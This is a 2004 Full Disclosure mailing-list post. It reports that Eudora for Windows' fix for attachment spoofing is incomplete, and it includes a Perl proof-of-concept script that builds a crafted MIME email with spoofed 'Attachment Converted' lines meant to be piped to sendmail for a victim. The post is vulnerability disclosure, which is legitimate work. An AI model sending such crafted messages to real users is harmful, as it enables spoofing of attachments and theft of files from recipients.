Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Eudora attachment spoof
From: psz () maths usyd edu au (Paul Szabo)
Date: Mon, 11 Oct 2004 08:23:53 +1000 (EST)

Eudora for Windows is in beta testing since 8 Oct 2004. The release

Fixed cases where attachments could be spoofed via base64 or quoted-printable
encoded (plain-text, inline) MIME parts.

Not so. Harmless demo below.


Paul Szabo - psz () maths usyd edu au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia

#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";

print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n\n";
print "With spoofed attachments, we could 'steal' files (after a warning?)
if the message was forwarded (not replied to).\n";

print "\n--zzz\n";
print "Content-Type: text/html; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n\n";
print "Within text/html part, use </x-html> to get back to plaintext,
no need for NUL or linebreak or nothing:
print "Attachment Converted=00: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted=
: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz--\n";

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  By Date           By Thread  

Current thread:
  • Eudora attachment spoof Paul Szabo (Oct 10)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]